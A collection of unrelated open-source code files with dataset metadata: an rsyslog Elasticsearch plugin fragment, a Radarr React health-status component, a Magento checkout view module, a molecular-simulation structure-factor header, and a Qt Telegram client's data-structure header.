CHKiRet(statsobj.AddCounter(indexStats, (uchar *)"submits",
ctrType_IntCtr, &indexSubmit));
CHKiRet(statsobj.AddCounter(indexStats, (uchar *)"failed",
ctrType_IntCtr, &indexFailed));
CHKiRet(statsobj.AddCounter(indexStats, (uchar *)"success",
ctrType_IntCtr, &indexSuccess));
CHKiRet(statsobj.ConstructFinalize(indexStats));
ENDmodInit
/* vi:set ai:
*/
|
deniskin82/rsyslog
|
plugins/omelasticsearch/omelasticsearch.c
|
C
|
gpl-3.0
| 26,580 |
import PropTypes from 'prop-types';
import React, { Component } from 'react';
import FieldSet from 'Components/FieldSet';
import Icon from 'Components/Icon';
import IconButton from 'Components/Link/IconButton';
import SpinnerIconButton from 'Components/Link/SpinnerIconButton';
import LoadingIndicator from 'Components/Loading/LoadingIndicator';
import TableRowCell from 'Components/Table/Cells/TableRowCell';
import Table from 'Components/Table/Table';
import TableBody from 'Components/Table/TableBody';
import TableRow from 'Components/Table/TableRow';
import { icons, kinds } from 'Helpers/Props';
import titleCase from 'Utilities/String/titleCase';
import translate from 'Utilities/String/translate';
import styles from './Health.css';
function getInternalLink(source) {
switch (source) {
case 'IndexerRssCheck':
case 'IndexerSearchCheck':
case 'IndexerStatusCheck':
case 'IndexerJackettAllCheck':
case 'IndexerLongTermStatusCheck':
return (
<IconButton
name={icons.SETTINGS}
title={translate('Settings')}
to="/settings/indexers"
/>
);
case 'DownloadClientCheck':
case 'DownloadClientStatusCheck':
case 'ImportMechanismCheck':
return (
<IconButton
name={icons.SETTINGS}
title={translate('Settings')}
to="/settings/downloadclients"
/>
);
case 'RootFolderCheck':
return (
<IconButton
name={icons.PLAY}
title={translate('MovieEditor')}
to="/"
/>
);
case 'UpdateCheck':
return (
<IconButton
name={icons.UPDATE}
title={translate('Updates')}
to="/system/updates"
/>
);
default:
return;
}
}
function getTestLink(source, props) {
switch (source) {
case 'IndexerStatusCheck':
return (
<SpinnerIconButton
name={icons.TEST}
title={translate('TestAll')}
isSpinning={props.isTestingAllIndexers}
onPress={props.dispatchTestAllIndexers}
/>
);
case 'DownloadClientCheck':
case 'DownloadClientStatusCheck':
return (
<SpinnerIconButton
name={icons.TEST}
title={translate('TestAll')}
isSpinning={props.isTestingAllDownloadClients}
onPress={props.dispatchTestAllDownloadClients}
/>
);
default:
break;
}
}
const columns = [
{
className: styles.status,
name: 'type',
isVisible: true
},
{
name: 'message',
label: translate('Message'),
isVisible: true
},
{
name: 'actions',
label: translate('Actions'),
isVisible: true
}
];
class Health extends Component {
//
// Render
render() {
const {
isFetching,
isPopulated,
items
} = this.props;
const healthIssues = !!items.length;
return (
<FieldSet
legend={
<div className={styles.legend}>
{translate('Health')}
{
isFetching && isPopulated &&
<LoadingIndicator
className={styles.loading}
size={20}
/>
}
</div>
}
>
{
isFetching && !isPopulated &&
<LoadingIndicator />
}
{
!healthIssues &&
<div className={styles.healthOk}>
{translate('HealthNoIssues')}
</div>
}
{
healthIssues &&
<Table
columns={columns}
>
<TableBody>
{
items.map((item) => {
const internalLink = getInternalLink(item.source);
const testLink = getTestLink(item.source, this.props);
let kind = kinds.WARNING;
switch (item.type.toLowerCase()) {
case 'error':
kind = kinds.DANGER;
break;
default:
case 'warning':
kind = kinds.WARNING;
break;
case 'notice':
kind = kinds.INFO;
break;
}
return (
<TableRow key={`health${item.message}`}>
<TableRowCell>
<Icon
name={icons.DANGER}
kind={kind}
title={titleCase(item.type)}
/>
</TableRowCell>
<TableRowCell>{item.message}</TableRowCell>
<TableRowCell className={styles.actions}>
<IconButton
name={icons.WIKI}
to={item.wikiUrl}
title={translate('ReadTheWikiForMoreInformation')}
/>
{
internalLink
}
{
!!testLink &&
testLink
}
</TableRowCell>
</TableRow>
);
})
}
</TableBody>
</Table>
}
</FieldSet>
);
}
}
Health.propTypes = {
isFetching: PropTypes.bool.isRequired,
isPopulated: PropTypes.bool.isRequired,
items: PropTypes.array.isRequired,
isTestingAllDownloadClients: PropTypes.bool.isRequired,
isTestingAllIndexers: PropTypes.bool.isRequired,
dispatchTestAllDownloadClients: PropTypes.func.isRequired,
dispatchTestAllIndexers: PropTypes.func.isRequired
};
export default Health;
|
Radarr/Radarr
|
frontend/src/System/Status/Health/Health.js
|
JavaScript
|
gpl-3.0
| 5,931 |
/**
* Copyright © 2016 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
/*jshint browser:true jquery:true*/
/*global alert*/
define(
[
'jquery',
'uiComponent',
'Magento_Checkout/js/model/quote',
'Magento_Checkout/js/model/step-navigator',
'Magento_Checkout/js/model/sidebar'
],
function($, Component, quote, stepNavigator, sidebarModel) {
'use strict';
return Component.extend({
defaults: {
template: 'Magento_Checkout/shipping-information'
},
isVisible: function() {
return !quote.isVirtual() && stepNavigator.isProcessed('shipping');
},
getShippingMethodTitle: function() {
var shippingMethod = quote.shippingMethod();
return shippingMethod ? shippingMethod.carrier_title + " - " + shippingMethod.method_title : '';
},
back: function() {
sidebarModel.hide();
stepNavigator.navigateTo('shipping');
},
backToShippingMethod: function() {
sidebarModel.hide();
stepNavigator.navigateTo('shipping', 'opc-shipping_method');
}
});
}
);
|
rajmahesh/magento2-master
|
vendor/magento/module-checkout/view/frontend/web/js/view/shipping-information.js
|
JavaScript
|
gpl-3.0
| 1,289 |
#ifndef DDMD_STRUCTURE_FACTOR_H
#define DDMD_STRUCTURE_FACTOR_H
/*
* Simpatico - Simulation Package for Polymeric and Molecular Liquids
*
* Copyright 2010 - 2017, The Regents of the University of Minnesota
* Distributed under the terms of the GNU General Public License.
*/
#include <ddMd/analyzers/Analyzer.h>
#include <ddMd/simulation/Simulation.h>
#include <util/containers/DMatrix.h> // member template
#include <util/containers/DArray.h> // member template
#include <util/global.h>
#include <iostream>
#include <complex>
namespace DdMd
{
using namespace Util;
/**
* StructureFactor evaluates structure factors in Fourier space.
*
* A structure factor for a wavevector k and mode m defined as an
* expectation value
* \f[
* S_{m}(k) = < \rho(k) \rho(-k) / V >
* \f]
* where, V is system volume, and \f$\rho(k)\f$ is a Fourier component
* \f[
* \rho(k) = \sum_{i} v(m, a)\exp( i k \cdot r_i )
* \f]
* in which the sum is taken over all particles, \f$a\f$ is the atom type
* of particle \f$i\f$, and \f$v(m, a)\f$ is a coefficient for atom type
* \f$a\f$ for mode \f$m\f$. The matrix \f$v(m, a)\f$ of mode coefficients
* is input the user.
*
* This class can evaluate one or modes for multiple wavevectors.
* The input format thus requires the user to specify one or more
* mode vectors, and one or more wavevectors. Each wavevector is
* specified as an IntVector containing the integer Miller indices
* of a reciprocal lattice vector. These are the coeficients in
* an expansion of a reciprocal lattice wavevector as a sum of
* recprocal lattice basis vectors for the periodic unit cell.
*
* In a system with nAtomType = 2, with two monomer types 0 and 1,
* the parameter file input for calculating the density and
* composition modes for 5 wavevectors along the x axis in an
* orthorhombic unit cell might look like this:
*
* \code
* StructureFactor{
* interval 1000
* outputFileName StructureFactor
* nMode 1
* modes 1 1
* 0 -1
* nWave 5
* waveIntVectors 8 0 0
* 9 0 0
* 10 0 0
* 11 0 0
* 12 0 0
* }
* \endcode
* At the end of a simulation, all of the structure factors are
* output in a file with a suffix *.dat. Each line in this file
* contains the 3 Miller indices of a wavevector, the absolute
* magnitude of the wavevector, and a list of structure factor
* values for the wavevector, one for each mode.
*
* \sa \ref ddMd_analyzer_StructureFactor_page "param file format"
*
* \ingroup DdMd_Analyzer_Scattering_Module
*/
class StructureFactor : public Analyzer
{
public:
/// Number of analyzer samples in simulation.
static const int Samples = 100000;
/**
* Constructor.
*
* \param simulation reference to parent Simulation object
*/
StructureFactor(Simulation& simulation);
/**
* Destructor.
*/
~StructureFactor();
/**
* Read parameters from file.
*
* \param in input parameter stream
*/
virtual void readParameters(std::istream& in);
/**
* Load internal state from an archive.
*
* \param ar input/loading archive
*/
virtual void loadParameters(Serializable::IArchive &ar);
/**
* Save internal state to an archive.
*
* \param ar output/saving archive
*/
virtual void save(Serializable::OArchive &ar);
/**
* Clear accumulators.
*/
virtual void clear();
/**
* Add particles to StructureFactor accumulators.
*
* \param iStep MD time step counter
*/
void sample(long iStep);
/**
* Output results to predefined output file.
*/
virtual void output();
protected:
/**
* Output file stream.
*/
std::ofstream outputFile_;
/**
* Structure factor accumulators.
*
* First index is wavevector, second index is mode index.
*/
DMatrix<double> structureFactors_;
/**
* Fourier modes of concentration.
*
* First index is wavevector, second is atom type.
*/
DMatrix< std::complex<double> > fourierModes_;
/**
* Total fourier modes of concentration.
*
* First index is wavevector, second is atom type.
*/
DMatrix< std::complex<double> > totalFourierModes_;
/**
* Array of Miller index IntVectors for wavevectors.
*/
DArray<IntVector> waveIntVectors_;
/**
* Array of floating point wave vectors.
*/
DArray<Vector> waveVectors_;
/**
* Array of mode vectors
*
* First index is mode, second is atomType.
*/
DMatrix<double> modes_;
/// Number of wavevectors.
int nWave_;
/// Number of mode vectors
int nMode_;
/// Number of samples thus far.
int nSample_;
/// Number of atom types, copied from Simulation::nAtomType().
int nAtomType_;
/// Has readParam been called?
bool isInitialized_;
/// Is this the first step?
bool isFirstStep_;
/**
* Update wavevectors.
*/
void makeWaveVectors();
};
}
#endif
|
dmorse/simpatico
|
src/ddMd/analyzers/scattering/StructureFactor.h
|
C
|
gpl-3.0
| 5,656 |
/*
Copyright (C) 2014 Sialan Labs
http://labs.sialan.org
Sigram is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Sigram is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef STRCUTS_H
#define STRCUTS_H
#include <QtGlobal>
#include <QString>
#include <QStringList>
#include <QDateTime>
#include "telegram_cli/structers-only.h"
#include "telegram_cli/constants.h"
class Enums : public QObject
{
Q_ENUMS(DesktopSession)
Q_ENUMS(OnlineState)
Q_ENUMS(UserFlags)
Q_ENUMS(MessageType)
Q_ENUMS(WaitAndGet)
Q_ENUMS(SecretChatState)
Q_ENUMS(MessageAction)
Q_OBJECT
public:
Enums(QObject *parent = 0);
enum DesktopSession {
Unknown,
Gnome,
GnomeFallBack,
Unity,
Kde,
Windows,
Mac
};
enum OnlineState {
Offline = -1,
NotOnlineYet = 0,
Online = 1
};
enum UserFlags {
UserMessageEmpty = FLAG_MESSAGE_EMPTY,
UserDeleted = FLAG_DELETED,
UserForbidden = FLAG_FORBIDDEN,
UserHasPhoto = FLAG_HAS_PHOTO,
UserCreated = FLAG_CREATED,
UserUserSelf = FLAG_USER_SELF,
UserUserForeign = FLAG_USER_FOREIGN,
UserUserContact = FLAG_USER_CONTACT,
UserUserInContact = FLAG_USER_IN_CONTACT,
UserUserOutContact = FLAG_USER_OUT_CONTACT,
UserChatInChat = FLAG_CHAT_IN_CHAT,
UserEncrypted = FLAG_ENCRYPTED,
UserPending = FLAG_PENDING
};
enum MessageType {
MediaEmpty = CODE_message_media_empty,
MediaPhoto = CODE_message_media_photo,
MediaVideo = CODE_message_media_video,
MediaDocument = CODE_message_media_document,
MediaAudio = CODE_message_media_audio,
MediaGeo = CODE_message_media_geo,
MediaContact = CODE_message_media_contact,
MediaUnsupported = CODE_message_media_unsupported
};
enum WaitAndGet {
PhoneNumber = 0,
AuthCode = 1,
UserDetails = 2,
CheckingState = 3,
NoWaitAndGet = 4
};
enum SecretChatState {
SecretChatNone,
SecretChatWaiting,
SecretChatRequest,
SecretChatOk,
SecretChatDeleted
};
enum MessageAction {
MessageActionEmpty = CODE_message_action_empty,
MessageActionChatCreate = CODE_message_action_chat_create,
MessageActionChatEditTitle = CODE_message_action_chat_edit_title,
MessageActionChatEditPhoto = CODE_message_action_chat_edit_photo,
MessageActionChatDeletePhoto = CODE_message_action_chat_delete_photo,
MessageActionChatAddUser = CODE_message_action_chat_add_user,
MessageActionChatDeleteUser = CODE_message_action_chat_delete_user,
MessageActionGeoChatCreate = CODE_message_action_geo_chat_create,
MessageActionGeoChatCheckin = CODE_message_action_geo_chat_checkin,
};
};
class WaitGetPhone
{
public:
QString phone;
};
class WaitGetUserDetails
{
public:
QString firstname;
QString lastname;
};
class WaitGetAuthCode
{
public:
QString code;
bool request_phone;
};
class UserClass
{
public:
QString username;
int user_id;
int type;
QString firstname;
QString lastname;
qint64 photoId;
QString phone;
QDateTime lastTime;
Enums::OnlineState state;
Enums::UserFlags flags;
};
class ChatUserClass
{
public:
int user_id;
int inviter_id;
QDateTime date;
};
class ChatClass
{
public:
int admin;
int chat_id;
int type;
qint64 photoId;
QString title;
int users_num;
int flags;
QDateTime date;
QList<ChatUserClass> users;
};
class DialogClass
{
public:
DialogClass() {
is_chat = false;
unread = true;
}
ChatClass chatClass;
UserClass userClass;
bool is_chat;
int unread;
int flags;
QDateTime msgDate;
QString msgLast;
};
class MessageMedia
{
public:
qint64 volume;
qint64 secret;
qreal latitude;
qreal longitude;
};
class MessageClass
{
public:
MessageClass() {
deleted = false;
action = Enums::MessageActionEmpty;
}
qint64 msg_id;
int fwd_id;
QDateTime fwd_date;
int out;
int unread;
QDateTime date;
int service;
QString message;
QString firstName;
QString lastName;
int from_id;
int to_id;
int flags;
qint64 accessHash;
bool deleted;
QString mediaFile;
Enums::MessageType mediaType;
MessageMedia media;
Enums::MessageAction action;
QString actionNewTitle;
int actionUser;
};
Q_DECLARE_METATYPE( UserClass )
Q_DECLARE_METATYPE( ChatClass )
Q_DECLARE_METATYPE( DialogClass )
Q_DECLARE_METATYPE( MessageClass )
Q_DECLARE_METATYPE( WaitGetPhone )
Q_DECLARE_METATYPE( WaitGetAuthCode )
Q_DECLARE_METATYPE( WaitGetUserDetails )
#endif // STRCUTS_H
|
ed00m/sigram
|
Sigram/telegram/strcuts.h
|
C
|
gpl-3.0
| 5,402 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.